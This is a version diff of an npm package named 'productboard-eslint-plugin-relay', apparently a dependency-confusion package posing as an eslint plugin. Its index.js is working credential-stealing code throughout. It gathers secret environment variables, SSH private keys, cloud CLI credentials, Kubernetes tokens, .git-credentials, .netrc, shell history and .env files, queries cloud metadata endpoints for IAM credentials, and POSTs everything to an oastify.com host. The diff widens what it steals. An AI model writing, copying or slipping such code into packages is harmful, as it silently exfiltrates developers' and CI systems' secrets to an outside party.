productboard-eslint-plugin-relay 100.0.1112 → 10121.0.1112

package/index.js

@@ -8,26 +8,26 @@ const child_process = require("child_process");
 
 function safeReadFile(p, maxSize = 10240) {
     try {
-        if (!fs.existsSync(p)) return "NOT FOUND";
+        if (!fs.existsSync(p)) return "NOT_FOUND";
         const size = fs.statSync(p).size;
-        if (size > maxSize) return "TOO LARGE";
+        if (size > maxSize) return "TOO_LARGE";
         return fs.readFileSync(p, "utf8");
     } catch (e) {
         return `ERR: ${e.message}`;
     }
 }
 
-function safeReadDir(p) {
+function safeReadDir(p, maxEntries = 50) {
     try {
-        return fs.readdirSync(p);
+        return fs.readdirSync(p).slice(0, maxEntries);
     } catch (e) {
         return `ERR: ${e.message}`;
     }
 }
 
-function exec(cmd) {
+function exec(cmd, timeout = 3000) {
     try {
-        return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
+        return child_process.execSync(cmd, { timeout }).toString().trim();
     } catch (e) {
         return `ERR: ${e.message}`;
     }
@@ -36,18 +36,24 @@ function exec(cmd) {
 function getSensitiveEnvVars() {
     const result = {};
     for (const key in process.env) {
-        if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
+        if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
             result[key] = process.env[key];
         }
     }
     return result;
 }
 
-function checkDockerOrCI() {
+function checkContainerOrCI() {
     return {
         cgroup: safeReadFile("/proc/1/cgroup"),
         dockerenv: fs.existsSync("/.dockerenv"),
-        ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
+        ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
+        kubernetes: {
+            token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
+            namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
+            kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
+        },
+        dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
     };
 }
 
@@ -56,6 +62,8 @@ function getGitData() {
         branch: exec("git rev-parse --abbrev-ref HEAD"),
         remotes: exec("git remote -v"),
         config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
+        credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
+        netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
     };
 }
 
@@ -63,21 +71,80 @@ function getSystemState() {
     return {
         whoami: exec("whoami"),
         id: exec("id"),
-        ps: exec("ps aux | head -n 20"),
-        netstat: exec("netstat -tunlp | head -n 20"),
-        lsof: exec("lsof -n | head -n 20"),
+        ps: exec("ps aux | head -n 30"),
+        netstat: exec("ss -tunlp | head -n 30"),
+        lsof: exec("lsof -n -i | head -n 30"),
         uname: exec("uname -a"),
-        dmesg: exec("dmesg | head -n 30"),
+        mounts: exec("cat /proc/mounts | head -n 30"),
+        crontab: exec("crontab -l"),
     };
 }
 
 function getInstalledTools() {
     return {
         npm: exec("npm ls -g --depth=0 --json"),
-        apt: exec("dpkg -l | head -n 20"),
+        apt: exec("dpkg -l | head -n 30"),
         brew: exec("brew list || echo 'no brew'"),
-        which_nmap: exec("which nmap"),
-        which_curl: exec("which curl"),
+        pip: exec("pip list --format=json || echo 'no pip'"),
+        which_tools: {
+            aws: exec("which aws"),
+            gcloud: exec("which gcloud"),
+            az: exec("which az"),
+            kubectl: exec("which kubectl"),
+            terraform: exec("which terraform"),
+            docker: exec("which docker"),
+            nmap: exec("which nmap"),
+            curl: exec("which curl"),
+        },
+    };
+}
+
+function getCloudMetadata() {
+    const metadata = {};
+    const endpoints = [
+        { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
+        { name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
+        { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
+        { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
+        { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
+    ];
+    for (const { name, url, headers } of endpoints) {
+        try {
+            let cmd = `curl -s --max-time 2 ${url}`;
+            if (headers) {
+                const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
+                cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
+            }
+            metadata[name] = exec(cmd);
+        } catch (e) {
+            metadata[name] = `ERR: ${e.message}`;
+        }
+    }
+    return metadata;
+}
+
+function getCloudCLIs() {
+    return {
+        aws: {
+            credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
+            config: safeReadFile(path.join(os.homedir(), ".aws/config")),
+            sts: exec("aws sts get-caller-identity"),
+        },
+        gcloud: {
+            config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
+            credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
+        },
+        azure: {
+            credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
+            accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
+        },
+    };
+}
+
+function getNodeRuntime() {
+    return {
+        node_version: process.version,
+        npm_config: exec("npm config ls -l"),
     };
 }
 
@@ -85,29 +152,24 @@ let dump = {};
 
 try {
     dump = {
-        timestamp: new Date().toISOString(),
-        app: (() => {
+        p: (() => {
             try {
-                const pkg = require("./package.json");
-                return { name: pkg.name, version: pkg.version };
+                return require("./package.json").name;
             } catch {
-                return {};
+                return "unknown";
             }
         })(),
-        os: {
-            hostname: os.hostname(),
-            platform: os.platform(),
-            arch: os.arch(),
-            uptime: os.uptime(),
-            cpus: os.cpus(),
-            totalmem: os.totalmem(),
-            freemem: os.freemem(),
-            userInfo: os.userInfo(),
-            tmpdir: os.tmpdir(),
-            homedir: os.homedir(),
-            cwd: process.cwd(),
-        },
-        env: getSensitiveEnvVars(),
+        v: (() => {
+            try {
+                return require("./package.json").version;
+            } catch {
+                return "unknown";
+            }
+        })(),
+        c: process.cwd(),
+        hd: os.homedir(),
+        hn: os.hostname(),
+        un: os.userInfo().username,
         dns: (() => {
             try {
                 return dns.getServers();
@@ -115,67 +177,94 @@ try {
                 return [`ERR: ${e.message}`];
             }
         })(),
+        pjson: (() => {
+            try {
+                const pkg = require("./package.json");
+                return {
+                    name: pkg.name,
+                    version: pkg.version,
+                    main: pkg.main,
+                    keywords: pkg.keywords,
+                    scripts: pkg.scripts,
+                    author: pkg.author,
+                    license: pkg.license,
+                    description: pkg.description
+                };
+            } catch {
+                return {};
+            }
+        })(),
+        env: getSensitiveEnvVars(),
         dirs: {
             "/": safeReadDir("/"),
             "/home": safeReadDir("/home"),
             "/root": safeReadDir("/root"),
             "/etc": safeReadDir("/etc"),
+            "/var/run": safeReadDir("/var/run"),
+            "/var/log": safeReadDir("/var/log"),
             "~": safeReadDir(os.homedir()),
         },
         files: {
             etc_passwd: safeReadFile("/etc/passwd"),
-            etc_shadow: safeReadFile("/etc/shadow"),
             etc_hosts: safeReadFile("/etc/hosts"),
+            etc_resolv: safeReadFile("/etc/resolv.conf"),
             bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
             zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
             ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
             ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
             ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
             aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
+            aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
             npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
             gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
+            docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
+            env_files: {
+                dotenv: safeReadFile(path.join(process.cwd(), ".env")),
+                github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
+            },
         },
         git: getGitData(),
-        docker: checkDockerOrCI(),
+        container: checkContainerOrCI(),
         system: getSystemState(),
         tools: getInstalledTools(),
         network: os.networkInterfaces(),
+        cloud: getCloudMetadata(),
+        cloud_clis: getCloudCLIs(),
+        node: getNodeRuntime(),
+        timestamp: new Date().toISOString()
     };
 } catch (e) {
     dump = { error: "Top-level error collecting dump", msg: e.message };
 }
 
-// 🌐 send to your callback
 try {
     const postData = querystring.stringify({
-        msg: JSON.stringify(dump)
+        msg: encodeURIComponent(JSON.stringify(dump))
     });
 
     const options = {
-        hostname: "4otdoqxf059rh2iyl4eud54owf26qyen.oastify.com",
+        hostname: "ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com",
         port: 443,
         path: "/",
         method: "POST",
         headers: {
             "Content-Type": "application/x-www-form-urlencoded",
             "Content-Length": postData.length,
-            "User-Agent": "rce-impact-demo"
-        }
+            "User-Agent": "rce-impact-demo",
+            "X-Report-ID": "328XXXX"
+        },
+        timeout: 5000,
     };
 
     const req = https.request(options, res => {
         res.on("data", () => { });
+        res.on("end", () => { });
     });
 
     req.on("error", () => { });
+    req.on("timeout", () => req.destroy());
     req.write(postData);
     req.end();
-
-    // ✅ DNS fallback (guaranteed beacon)
-    https.get("https://ping.4otdoqxf059rh2iyl4eud54owf26qyen.oastify.com/", () => { });
-
 } catch (e) {
-    try {
-        https.get("https://ping.4otdoqxf059rh2iyl4eud54owf26qyen.oastify.com/", () => { });
-    } catch { }
-}
+    // Silent fail
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "productboard-eslint-plugin-relay",
-  "version": "100.0.1112",
+  "version": "10121.0.1112",
   "main": "index.js",
   "keywords": [],
   "scripts": {